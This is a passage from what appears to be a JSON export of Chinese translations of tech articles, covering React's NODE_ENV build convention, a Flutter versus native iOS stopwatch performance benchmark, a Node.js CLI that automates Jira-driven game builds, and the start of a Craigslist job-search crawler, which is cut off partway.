包的入口来“决定”该导出哪一个。\n\n[例如：](https://unpkg.com/browse/react@16.8.6/index.js)\n\n```js\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react.production.min.js');\n} else {\n  module.exports = require('./cjs/react.development.js');\n}\n```\n\n这是你的打包工具把 `'development'` 或者 `'production'` 替换为字符串的唯一地方。也是你的压缩工具除去只应在开发环境中 `require` 代码的唯一地方。\n\n`react.production.min.js` 和 `react.development.js` 不再有任何 `process.env.NODE_ENV` 检查了。这很有意义，因为**当代码真正运行在 Node.js 中的时候**， 访问 `process.env` [有可能会很慢](https://reactjs.org/blog/2017/09/26/react-v16.0.html#better-server-side-rendering)。提前编译两个模式下的代码包也可以帮助我们优化文件的大小变得[更加一致](https://reactjs.org/blog/2017/09/26/react-v16.0.html#reduced-file-size)，无论你使用的是哪个打包压缩工具。\n\n这就是它的工作原理！\n\n---\n\n我希望有一个更好的方法而不是依赖约定，但是我们已经到这了。如果在所有的 JavaScript 环境中，模式是一个非常重要的概念，并且如果有什么方法能够在浏览器层面来展示这些本不该出现的运行在开发环境下的代码，那就非常棒了。\n\n另一方面，在单个项目中的约定可以传播到整个生态系统，这点非常神奇。2010年 `EXPRESS_ENV` [变成了 `NODE_ENV`](https://github.com/expressjs/express/commit/03b56d8140dc5c2b574d410bfeb63517a0430451) 并在 2013 年[蔓延到前端](https://github.com/hughsk/envify/commit/ae8aa26b759cd2115eccbed96f70e7bbdceded97)。可能这个解决方案并不完美，但是对每一个项目来说，接受它的成本远比说服其他每一个人去做一些改变的成本要低得多。这教会了我们宝贵的一课，关于自上而下与自下而上的方案接受。理解了相比于那些失败的标准来说它是如何一步步地转变成功的标准的。\n\n隔离开发和线上模式是一个非常有用的技术。我建议你在你的库和应用中使用这项技术，来做一些在线上环境很重，但是在开发环境中却非常有用（通常是严格的）的校验和检查。\n\n和任何功能强大的特性一样，有些情况下你可能也会滥用它。这是我下一篇文章的话题！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-fast-is-flutter-i-built-a-stopwatch-app-to-find-out.md",
    "content": "> * 原文地址：[How fast is Flutter? I built a stopwatch app to find out.](https://medium.freecodecamp.org/how-fast-is-flutter-i-built-a-stopwatch-app-to-find-out-9956fa0e40bd)\n> * 原文作者：[Andrea Bizzotto](https://medium.freecodecamp.org/@biz84?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-fast-is-flutter-i-built-a-stopwatch-app-to-find-out.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-fast-is-flutter-i-built-a-stopwatch-app-to-find-out.md)\n> * 译者：[ALVINYEH](https://github.com/ALVINYEH)\n> * 校对者：[swants](https://github.com/swants)、[talisk](https://github.com/talisk)\n\n# Flutter 到底有多快？我开发了秒表应用来弄清楚。\n\n![](https://cdn-images-1.medium.com/max/2000/1*270WC2lY8lFF6jfPpca0WQ.jpeg)\n\n图片来源: [Petar Petkovski](https://unsplash.com/@petkovski)\n\n这个周末，我花了点时间去用由谷歌新开发的 UI 框架 [Flutter](https://flutter.io/)。\n\n从理论上讲，它听起来非常棒！\n\n*   [热加载](https://flutter.io/hot-reload/)？是的，请。\n*   声明式[状态驱动](https://flutter.io/tutorials/interactive/) UI 编程？我全押在这上面了！\n\n根据[文档](https://flutter.io/faq/#what-kind-of-app-performance-can-i-expect)，高性能是预料之中的：\n\n> Flutter 旨在帮助开发者轻松地实现恒定的 60 fps。\n\n但是 CPU 利用率如何？\n\n**太长了读不下去，直接看评论**：不如原生好。你必须正确地做到：\n\n*   频繁地重绘用户界面代价是很高的。\n*   如果你经常调用 `setState()` 方法，请确保尽可能少地重新绘制用户界面。\n\n我用 Flutter 框架开发了一个简单的秒表应用程序，并分析了 CPU 和内存的使用情况。\n\n![](https://cdn-images-1.medium.com/max/800/1*Bo0l0BjIRcInHZo2ACvjsA.png)\n\n**图左**：iOS 秒表应用。 **图右**：用 Flutter 的版本。很漂亮吧？\n\n### 实现\n\nUI 界面是由两个对象驱动的: [秒表](https://docs.flutter.io/flutter/dart-core/Stopwatch-class.html)和[定时器](https://docs.flutter.io/flutter/dart-async/Timer-class.html)。\n\n*   用户可以通过点击这两个按钮来启动、停止和重置秒表。\n*   每当秒表开始计时时，都会创建一个周期性定时器，每 30 毫秒回调一次，并更新 UI 界面。\n\n主界面是这样建立的：\n\n```\nclass TimerPage extends StatefulWidget {\n  TimerPage({Key key}) : super(key: key);\n\n  TimerPageState createState() => new TimerPageState();\n}\n\nclass TimerPageState extends State<TimerPage> {\n  Stopwatch stopwatch = new Stopwatch();\n\n  void leftButtonPressed() {\n    setState(() {\n      if (stopwatch.isRunning) {\n        print(\"${stopwatch.elapsedMilliseconds}\");\n      } else {\n        stopwatch.reset();\n      }\n    });\n  }\n\n  void rightButtonPressed() {\n    setState(() {\n      if (stopwatch.isRunning) {\n        stopwatch.stop();\n      } else {\n        stopwatch.start();\n      }\n    });\n  }\n\n  Widget buildFloatingButton(String text, VoidCallback callback) {\n    TextStyle roundTextStyle = const TextStyle(fontSize: 16.0, color: Colors.white);\n    return new FloatingActionButton(\n      child: new Text(text, style: roundTextStyle),\n      onPressed: callback);\n  }\n\n  @override\n  Widget build(BuildContext context) {\n    return new Column(\n      children: <Widget>[\n        new Container(height: 200.0, \n          child: new Center(\n            child: new TimerText(stopwatch: stopwatch),\n        )),\n        new Row(mainAxisAlignment: MainAxisAlignment.spaceEvenly,\n          children: <Widget>[\n            buildFloatingButton(stopwatch.isRunning ? \"lap\" : \"reset\", leftButtonPressed),\n            buildFloatingButton(stopwatch.isRunning ? \"stop\" : \"start\", rightButtonPressed),\n        ]),\n      ],\n    );\n  }\n}\n```\n\n这是如何运作的呢？\n\n*   两个按钮分别管理秒表对象的状态。\n*   当秒表更新时，`setState()` 会被调用，然后触发 `build()` 方法。\n*   作为 `build()` 方法的一部分, 一个新的 `TimerText` 会被创建。\n\n`TimerText` 类看起来是这样的：\n\n```\nclass TimerText extends StatefulWidget {\n  TimerText({this.stopwatch});\n  final Stopwatch stopwatch;\n\n  TimerTextState createState() => new TimerTextState(stopwatch: stopwatch);\n}\n\nclass TimerTextState extends State<TimerText> {\n\n  Timer timer;\n  final Stopwatch stopwatch;\n\n  TimerTextState({this.stopwatch}) {\n    timer = new Timer.periodic(new Duration(milliseconds: 30), callback);\n  }\n  \n  void callback(Timer timer) {\n    if (stopwatch.isRunning) {\n      setState(() {\n\n      });\n    }\n  }\n\n  @override\n  Widget build(BuildContext context) {\n    final TextStyle timerTextStyle = const TextStyle(fontSize: 60.0, fontFamily: \"Open Sans\");\n    String formattedTime = TimerTextFormatter.format(stopwatch.elapsedMilliseconds);\n    return new Text(formattedTime, style: timerTextStyle);\n  }\n}\n```\n\n一些注意事项：\n\n*   定时器由 `TimerTextState` 对象所创建。每次触发回调后，**如果秒表在运行**，就会调用 `setState()` 方法。\n*   这会调用 `build()` 方法，并在更新的时候绘制一个新的 `Text` 对象。\n\n### 正确使用\n\n当我一开始开发这个 App 时，我管理了 `TimerPage` 类中对全部状态以及 UI 界面，其中包括了秒表和定时器。\n\n这就意味着每次触发定时器的回调时，会重新构建整个 UI 界面。这是不必要且低效的：只有包含了过去时间的 `Text` 对象需要重新绘制 —— 特别是当每 30 毫秒计时器触发一次时。\n\n如果我们考虑到未优化和已优化的部件树层次结构，这一点就变得更显而易见了：\n\n![](https://cdn-images-1.medium.com/max/800/1*YrJV5E7jWzr3K0kjPBs1Mg.png)\n\n创建一个独立的 `TimerText` 类来封装定时器的逻辑，可以降低 CPU 负担。\n\n换句话说：\n\n*   频繁地重绘 UI 用户界面代价很高。\n*   如果经常调用 `setState()` 方法，确保尽可能少地重新绘制 UI 用户界面。\n\nFlutter 官方文档指出该平台对[快速分配](https://flutter.io/faq/#why-did-flutter-choose-to-use-dart)进行了优化：\n\n> Flutter 框架使用了一种功能式流程，这种流程很大程度上取决于内存分配器是否有效地处理了小型，短期的分配工作。\n\n也许重建一棵部件树不能算作“小型，短期的分配”。实际上，我的代码优化了导致较低的 CPU 和内存使用率的问题（见下文）。\n\n#### 更新至 19–03–2018\n\n自从这篇文章发表以来，一些谷歌工程师注意到了这一点，并做出了进一步的优化。\n\n更新后的代码通过将 `TimerText` 分为了两个 `MinutesAndSeconds` 和 `Hundredths` 控件，进一步减少了用户界面的重绘：\n\n![](https://cdn-images-1.medium.com/max/800/1*NQxSNVJDSnZnC3DohLBTAA.png)\n\n进一步的 UI 界面优化（来源：谷歌）。\n\n它们将自己注册为定时器回调的监听器，并且只有状态发生改变时才会重新绘制。这进一步优化了性能，因为现在每 30 毫秒只有 `Hundredths` 控件会渲染。\n\n### 基准测试结果\n\n我在发布模式下运行了这个应用程序（`flutter run --release`）：\n\n*   设备： **iPhone 6**运行于**iOS 11.2**\n*   Flutter 版本：[0.1.5](https://github.com/flutter/flutter/releases/tag/v0.1.5) (2018年2月22日)。\n*   Xcode 9.2\n\n我在 Xcode 中监控了三分钟的 CPU 和内存使用情况，并测试了三种不同模式下的性能表现。\n\n#### 未优化的代码\n\n*   CPU 使用率：28%\n*   内存使用率：32 MB （App启动后的基准线为 17 MB）\n\n![](https://cdn-images-1.medium.com/max/800/1*F1GR6mVtVEwRjaJptEuEwQ.png)\n\n#### 优化方案 1（独立的定时文本控件）\n\n*   CPU 使用率：25%\n*   内存使用率：25 MB （App启动后的基准线为 17 MB）\n\n![](https://cdn-images-1.medium.com/max/800/1*dTO3vThMfGx0LYrLqAIlAQ.png)\n\n#### 优化方案 2（独立的分钟、秒、分秒控件）\n\n*   CPU Usage: 15% to 25%\n*   内存使用率：26 MB （App启动后的基准线为 17 MB）\n\n![](https://cdn-images-1.medium.com/max/800/1*JFnMDRT8utbB9C4ETPklOg.png)\n\n在最后一个测试中，CPU 使用情况图密切地追踪了 GPU 线程，而 UI 线程保持地相当稳定。 \n\n**注意**：在[**低速模式**](https://flutter.io/faq/#my-app-has-a-slow-mode-bannerribbon-in-the-upper-right-why-am-i-seeing-that)下以相同的基准运行，CPU 的使用率超过了 50%。随着时间的推移，**内存使用量也在不断增长**。\n\n这可能意味着内存在开发模式下没有被释放。\n\n关键要点：**确保你的应用处于发布模式**。\n\n请注意，当 CPU 使用率超过 20% 时，Xcode 会报告出一个**非常高**的电力消耗警告。\n\n### 深入探讨\n\n我在不断思考这些结果。每秒触发 30 次并且重新渲染一个文本标签的定时器不应该占用 25 %的[双核 1.4GHz 的 CPU](https://en.wikipedia.org/wiki/Apple_A8)。\n\nFlutter 应用中的控件树是由**声明式范型**所构建的，而不是在 iOS 和安卓上的**命令式**编程模型。\n\n但是，命令模式下性能是否更加好呢？\n\n为了找到答案，我在 iOS 上开发了相同的秒表应用。\n\n这是用 Swift 代码设置了一个定时器，并且每 30 毫秒更新一次文本标签：\n\n```\nstartDate = Date()\n\nTimer.scheduledTimer(withTimeInterval: 0.03, repeats: true) { timer in\n    \n    let elapsed = Date().timeIntervalSince(self.startDate)\n    let hundreds = Int((elapsed - trunc(elapsed)) * 100.0)\n    let seconds = Int(trunc(elapsed)) % 60\n    let minutes = seconds / 60\n    let hundredsStr = String(format: \"%02d\", hundreds)\n    let secondsStr = String(format: \"%02d\", seconds)\n    let minutesStr = String(format: \"%02d\", minutes)\n    self.timerLabel.text = \"\\(minutesStr):\\(secondsStr).\\(hundredsStr)\"\n}\n```\n\n为了完整性，这是我在 Dart 中使用的时间格式代码（优化方案 1）：\n\n```\nclass TimerTextFormatter {\n  static String format(int milliseconds) {\n    int hundreds = (milliseconds / 10).truncate();\n    int seconds = (hundreds / 100).truncate();\n    int minutes = (seconds / 60).truncate();\n\n    String minutesStr = (minutes % 60).toString().padLeft(2, '0');\n    String secondsStr = (seconds % 60).toString().padLeft(2, '0');\n    String hundredsStr = (hundreds % 100).toString().padLeft(2, '0');\n\n    return \"$minutesStr:$secondsStr.$hundredsStr\"; \n  }\n}\n```\n\n最后结果如何？\n\n**Flutter.** CPU：25%，内存：22 MB\n\n**iOS.** CPU：7%，内存：8 MB\n\nFlutter 实现方式在 CPU 的使用情况超过了 3 倍以上，内存上也同样是 3 倍之多。\n\n当定时器停止运行时，CPU 的使用率回到了 1%。这就证实了全部 CPU 的工作都用于处理定时器的回调和重新绘制 UI 界面。\n\n这并不足以让人惊讶。\n\n*   在 Flutter 应用中，我每次都创建和渲染了一个新的 `Text` 控件。\n*   在 iOS 中，我只是更新了 `UILabel` 的文本。\n\n“嘿！” —— 我听到你说的。“但是时间格式的代码是不同的！你怎么知道 CPU 使用率的差异不是因为这个？”\n\n那么，我们不进行格式去修改这两个例子：\n\nSwift:\n\n```\nstartDate = Date()\n\nTimer.scheduledTimer(withTimeInterval: 0.03, repeats: true) { timer in\n    \n    let elapsed = Date().timeIntervalSince(self.startDate)\n    self.timerLabel.text = \"\\(elapsed)\"\n}\n```\n\nDart:\n\n```\nclass TimerTextFormatter {\n  static String format(int milliseconds) {\n    return \"$milliseconds\"; \n  }\n}\n```\n\n最新结果：\n\n**Flutter.** CPU：15%，内存：22 MB\n\n**iOS.** CPU：8%，内存：8 MB\n\nFlutter 的实现仍然是 CPU-intensive 的两倍。此外，它似乎在多线程（GPU，I/O 工作）上做了相当多的事情。但在 iOS 上，只有一个线程是处于活动状态的。\n\n### 总结一下\n\n我用一个具体的案例来对比了 Flutter/Dart 和 iOS/Swift 的性能表现。\n\n数字是不会说谎的。当涉及到频繁的 UI 界面更新时候，**鱼和熊掌不可兼得**。 🎂\n\nFlutter 框架让开发者用同样的代码库为 iOS 和安卓开发应用程序，像热加载等功能进一步提高了开发效率。但 Flutter 仍然处于初期阶段。我希望谷歌和社区可以改进运行时配置文件，更好地将好处带给终端用户。\n\n至于你的应用程序，请务必考虑对代码进行微调，以减少用户界面的重绘。这份努力是值得。\n\n我将这个项目的所有代码托管在[这个 GitHub 仓库](https://github.com/bizz84/stopwatch-flutter)，你可以自己来运行一下。\n\n不用客气！😊\n\n这个样品项目是我第一次使用 Flutter 框架的实验。如果你知道如何编写更优雅的代码，我很乐意收到你的评论。\n\n**关于我：**我是一个自由职业的 iOS 开发者，同时兼顾在职工作，开源，写小项目和博客。\n\n这是我的推特：[@biz84](https://twitter.com/biz84)。GiHub 主页：[GitHub](https://github.com/bizz84)。欢迎一切的反馈，推文，有趣的资讯！想知道我最喜欢什么？许多的掌声 👏👏👏。噢，还有香蕉和面包。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-i-automated-my-job-with-node-js.md",
    "content": "> * 原文地址：[How I automated my job with Node.js](https://medium.com/dailyjs/how-i-automated-my-job-with-node-js-94bf4e423017)\n> * 原文作者：[Shaun Michael Stone](https://medium.com/@shaunmstone?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-i-automated-my-job-with-node-js.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-i-automated-my-job-with-node-js.md)\n> * 译者：[geniusq1981](https://github.com/geniusq1981)\n> * 校对者：[Starriers](https://github.com/Starriers)\n\n# 我如何使用 Node.js 来实现工作自动化\n\n![](https://cdn-images-1.medium.com/max/800/1*S7-c7ZO0w0ocUU8tzkB3zA.jpeg)\n\n您知道在工作中有很多必须完成的繁琐任务：更新配置文件,复制和粘贴文件，更新 Jira 任务。\n\n一段时间之后,这些工作的消耗时间会逐渐累积。2016 年，我在一家网络游戏公司工作时，情况就是如此。为游戏构建可配置的模板对于游戏开发来说是一项非常有意义的工作，但我大约 70% 的时间都花在了复制这些游戏模板和部署这些重新封装的实现上。\n\n### 什么是 Reskin?\n\n公司 reskin 的定义是指使用相同的游戏机制，屏幕和元素的定位，但改变诸如色彩和素材资源之类的纯视觉美学的相关内容。因此，在像“Rock Paper Scissors”这样简单的游戏中，我们创建一个具有如下基本素材资源的模板。\n\n![](https://cdn-images-1.medium.com/max/800/1*hgFoiDduNdXaLJ-0seB-Gw.jpeg)\n\n当我们创建一个这样的 reskin 之后，我们就可以更换不同的素材资源。如果你看看像 Candy Crush 或 Angry Birds 这样的游戏，你会发现它们一个游戏有很多不同的版本。通常有对应万圣节，圣诞节或复活节的版本来区分发布。从商业角度来看，这样做非常有意义。现在...回到我们的实现。每个游戏都共用相同的 JavaScript 文件，但会加载包含不同内容和资源路径的 JSON 文件。结果是？\n\n![](https://cdn-images-1.medium.com/max/800/1*SYAsVKSmEmcKQ8dEZiisPg.jpeg)\n\n我和其他开发人员每天都有一堆的工作日程表，我的第一个想法是“其实很多工作都可以实现自动化”。每当我去创建一个新游戏时，我都必须执行以下步骤：\n\n1. git pull 模板仓库以确保它们是最新的；\n2. 从主分支创建一个新的分支 — 由 Jira 任务 ID 标识；\n3. 制作我需要构建的模板的副本；\n4. 运行 gulp；\n5. 更新 **config.json** 文件中的内容。这里面涉及到资源路径，标题，段落以及数据服务请求等；\n6. 本地编译并检查与任务需求文档要求的内容是否匹配；\n7. 与设计师确认他们对结果是否满意；\n8. 合并到主分支并继续下一个分支；\n9. 更新 Jira 任务的状态，并发表评论；\n10. 整理并再重复以上过程。\n\n![](https://cdn-images-1.medium.com/max/800/1*7Jg9xcM_hj6g8QC22vTiiw.jpeg)\n\n对我来说，这感觉更像是一种管理工作而不是实际的开发工作。我曾在以前的角色中接触过 Bash 脚本，并在此基础上创建过一些脚本，以减少所做的工作。其中一个脚本可以更新模板并创建一个新的分支，另一个脚本执行了一个 commit 并将项目合并到开发和生产环境中。\n\n手动创建一个项目需要三到十分钟。部署可能需要五到十分钟。这些会根据游戏的复杂程度而不同，有时甚至可能需要十分钟到半天。脚本会有所帮助，但仍然需要大量时间用于更新内容或追查丢失的信息。\n\n![](https://cdn-images-1.medium.com/max/800/0*jxmPvnNgXhpFMV3v.)\n\n只通过编写代码来缩短时间是不够的。需要考虑更好的方法来处理我们的工作流，以便我可以更好地利用这些脚本。将内容从文档中移出，将其分解为相关的自定义字段，并移入 Jira 任务。设计人员不需要再发送资源在公共服务器的链接地址，而更实际的做法是设置一个内容交付网络（CDN）存储库，其中包含资源的开发和生产的 URL。\n\n### Jira API\n\n这样的事情可能需要运行一段时间才能得到看到效果，但我们的流程确实会随着时间的推移而有所改善。我对我们的项目管理工具 Jira 的 API 进行了一些研究，并对我正在处理的 Jira 任务做了一些请求。我收集了很多有价值的数据。这些数据非常有价值,所以我决定将她们集成到我的 Bash 脚本中,以便从 Jira 任务中读取这些数据，并在完成任务后给相关负责人留言。\n\n### 从 Bash 转到 Node\n\nBash 脚本很好，但如果有人在 Windows 上工作，就无法使用了。在做了一些研究之后，我决定使用 JavaScript 将整个过程包装成一个定制化的构建工具。我称之为 **Mason**，它会改变一切。\n\n### CLI\n\n当您在终端中使用 Git 时，您会注意到它有一个非常友好的命令行接口。如果你拼写错误或者输入错误的命令，它会礼貌地给出你要输入内容的相关建议。一个名为 commander 的库也使用了相同的行为，它是我使用过的众多库中的一个。\n\n考虑下面的简化代码示例。它正在引导命令行接口（CLI）应用程序。\n\n#### src/mason.js\n\n```\n#! /usr/bin/env node\n\nconst mason = require('commander');\nconst { version } = require('./package.json');\nconst console = require('console');\n\n// commands\nconst create = require('./commands/create');\nconst setup = require('./commands/setup');\n\nmason\n    .version(version);\n\nmason\n    .command('setup [env]')\n    .description('run setup commands for all envs')\n    .action(setup);\n\nmason\n    .command('create <ticketId>')\n    .description('creates a new game')\n    .action(create);\n\nmason\n    .command('*')\n    .action(() => {\n        mason.help();\n    });\n\nmason.parse(process.argv);\n\nif (!mason.args.length) {\n    mason.help();\n}\n```\n\n使用 npm，您可以运行 **package.json** 中的一个链接，它创建了一个全局的别名。\n\n```\n...\n\"bin\": {\n  \"mason\": \"src/mason.js\"\n},\n...\n```\n\n当我在项目的根目录中运行 npm link。\n\n```\nnpm link\n```\n\n它将为我提供一个我可以调用的 mason 命令。所以每当我在终端调用 mason，它就会运行 mason.js 脚本。所有的任务都在这个 mason 命令中实现了，我每天都用它来构建游戏。我节省的时间真是难以置信。\n\n您可以在下面看到——在我当时所设想的示例中——我将一个 Jira 任务号作为参数传递给命令。这将访问 Jira API，并获取更新游戏我所需要的全部信息。然后，它将继续编译和部署项目。之后我会发一条评论，@负责人和设计师，让他们知道已经完成了。\n\n```\n$ mason create GS-234\n... calling Jira API \n... OK! got values!\n... creating a new branch from master called 'GS-234'\n... updating templates repository\n... copying from template 'pick-from-three'\n... injecting values into config JSON\n... building project\n... deploying game\n... Perfect! Here is the live link \nhttp://www.fake-studio.com/game/fire-water-earth\n... Posted comment 'Hey [~ben.smith], this has been released. Does the design look okay? [~jamie.lane]' on Jira.\n```\n\n所有这一切只用几个键就搞定了！\n\n我对整个项目非常满意，于是我决定在我刚刚出版的一本书中重写一个更好的版本，书名为《用 Node.js 实现自动化》。\n\n![](https://cdn-images-1.medium.com/max/800/1*wOmVnWEaWu-1g-xL874xyg.jpeg)\n\n> * **彩色打印：** [http://amzn.eu/aA0cSnu](http://amzn.eu/aA0cSnu)\n> * **Kindle：** [http://amzn.eu/dVSykv1](http://amzn.eu/dVSykv1)  \n> * **Kobo：** [https://www.kobo.com/gb/en/ebook/automating-with-node-js](https://www.kobo.com/gb/en/ebook/automating-with-node-js)  \n> * **Leanpub：** [https://leanpub.com/automatingwithnodejs](https://leanpub.com/automatingwithnodejs) \n> * **Google Play：** [https://play.google.com/store/books/details?id=9QFgDwAAQBAJ](https://play.google.com/store/books/details?id=9QFgDwAAQBAJ)\n\n这本书分为两部分：\n\n### 第 1 部分\n第一部分是一个方法合集，或者作为单个全局命令的指令构建模块。它们可以在你每天的工作中使用，也可以纯粹为了方便在任何时候调用它们来加快你的工作流程。\n\n### 第 2 部分\n\n第二部分是一个从头开始创建跨平台编译工具的演练。每个脚本实现特定的某个任务，由主命令，通常就是项目的名称，将它们全部封装起来。\n\n书中的项目被称为 **nobot** _(no-bot)_，它基于一个小卡通机器人。我希望你能喜欢并从中可以学到一些东西。\n\n![](https://cdn-images-1.medium.com/max/800/1*fiOf2PARww-2wmOiV66iWA.jpeg)\n\n我知道每个企业的情况和流程都不同，但是你应该从中发现一些东西，即使它很不起眼，也会让你每天在办公室里的工作变得更加轻松。\n\n**花更多时间开发，减少管理时间。**\n\n![](https://cdn-images-1.medium.com/max/800/1*4877k4Hq9dPdtmvg9hnGFA.jpeg)\n\n谢谢阅读！如果你喜欢，请在下面给我们点赞。👏\n\n有关软件/硬件各方面的视频,请查看我的 YouTube 频道：<https://www.youtube.com/channel/UCKr-FjGzNdbbk--gvW5tzaw>\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-i-built-a-web-crawler-to-automate-my-job-search.md",
    "content": "> * 原文地址：[How I automated my job search by building a web crawler from scratch](https://medium.freecodecamp.org/how-i-built-a-web-crawler-to-automate-my-job-search-f825fb5af718)\n> * 原文作者：[Zhia Hwa Chong](https://medium.freecodecamp.org/@zhiachong?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-i-built-a-web-crawler-to-automate-my-job-search.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-i-built-a-web-crawler-to-automate-my-job-search.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[liruochen1998](https://github.com/liruochen1998)\n\n# 我是如何从零开始建立一个网络爬虫来实现我的求职自动化的\n\n### 起因\n\n一个周五的午夜，我的朋友们在外面玩得很开心，而我仍在电脑前工作。\n\n奇怪的是，我并没有感觉被忽视了。\n\n我在做一些我认为真正有趣而且非常优秀的事情。\n\n我刚从大学毕业，所以迫切地需要得到一份工作。当我离开西雅图的时候，我的背包里装满了大学课本和衣服。我可以在我的  2002 Honda Civic 后备箱中装上我的所有东西。\n\n当时我不太喜欢社交，因此我决定用所知道的最好的方式来解决工作的问题。我试图创建一个应用程序来帮助我，这篇文章就是关于我是如何实现这一目标的。😃\n\n### 开始使用 Craigslist\n\n我在房间里，疯狂地开发软件，来帮我收集和回应那些在 [Craigslist](https://seattle.craigslist.org/) 上寻找软件工程师的人。Craigslist 本质上是互联网市场，在这里你可以找到出售的物品、服务、社区博客等。\n\n![](https://cdn-images-1.medium.com/max/800/1*bEUpEKkCb2FD-wWiofJhhg.png)\n\nCraigslist\n\n当时，我从未构建过一个完全成熟的应用程序。我在大学里做的大部分事情都是一些学术项目，包括建立和解析二叉树、计算机图形学和语言处理模型。\n\n我是个“小白”。\n\n尽管如此，我还是了解到一个叫做 Python 的热门编程语言。我对 Python 知之甚少，但我还是不知疲倦地去学习关于它的知识。\n\n因此我决定两两组合，用这种新的编程语言构建一个小的应用程序。\n\n![](https://cdn-images-1.medium.com/max/800/1*cH7ortIVgkJ-q-da1AHW7w.jpeg)\n\n### 构建（工作）原型之旅\n\n我有一台用过的 [BenQ](https://www.engadget.com/2007/11/19/benq-intros-the-joybook-r43-laptop/) 笔记本，是我上大学时哥哥送给我的，我现在用它来进行开发。\n\n从任何角度来说，这都不是最好的开发环境。我正在使用 Python 2.4 和 [Sublime text](https://www.sublimetext.com/2) 的一个旧版本，不过从头开始编写应用程序的过程确实是一种令人兴奋的体验。\n\n我仍然不知道应该要做什么。我尝试了各式各样的事情来看看自己到底需要什么。我的第一个方法是找出我如何才能轻而易举地访问 Craigslist 数据。\n\n我查找了 Craigslist 是否存在公开可用的 REST API。令我难过的是，并没有这些接口。\n\n然而，我发现了**另一个好东西**。\n\nCraigslist 有一个 [RSS 提要](https://www.craigslist.org/about/rss)，仅供个人使用。RSS 提要本质上是一个**可读的计算机摘要**网站发送的更新。在这种情况下，RSS 提要允许我在发布新的任务列表时获取它们。这对于我的需要来说，实在是太**完美了**。\n\n![](https://cdn-images-1.medium.com/max/800/1*1b3dFtKBqYCxKSMx2dgi0w.png)\n\nRSS 提要的示例\n\n接下来，我需要一种可以读取 RSS 提要的方法。我不想亲自手动浏览 RSS 概要，因为那将是一个时间接收器，这与浏览 Craigslist 没有任何区别。\n\n这个时候，我开始意识到 Google 的力量。有一个笑话说软件工程师大部分时间在 Google 上找答案。我觉得这是有一定道理的。\n\n我用 Google 搜素了一下，我在 [StackOverflow](https://stackoverflow.com/questions/10353021/is-there-a-developers-api-for-craigslist-org) 上找到了一篇有用的文章，其中描述了如何通过 Craiglist RSS 提要进行搜索。这是 Craigslist 免费提供的过滤功能。我所要做的就是传递一个我所感兴趣的具有特定关键字的查询参数。\n\n我专注于在西雅图寻找与软件相关的工作。在这个前提下，我在西雅图输了一个特定的 URL,来查找包含关键字 “software” 的信息。 \n\n> [https://seattle.craigslist.org/search/sss?format=rss&query=software](https://seattle.craigslist.org/search/sss?format=rss&query=software)\n\n很好，起作用了。**非常漂亮**。\n\n![](https://cdn-images-1.medium.com/max/800/1*X06SL3fTW1Xbn5d3Tg__hw.png)\n\n例如，标题为 “software” 的西雅图 RSS 提要。\n\n### Beautiful soup 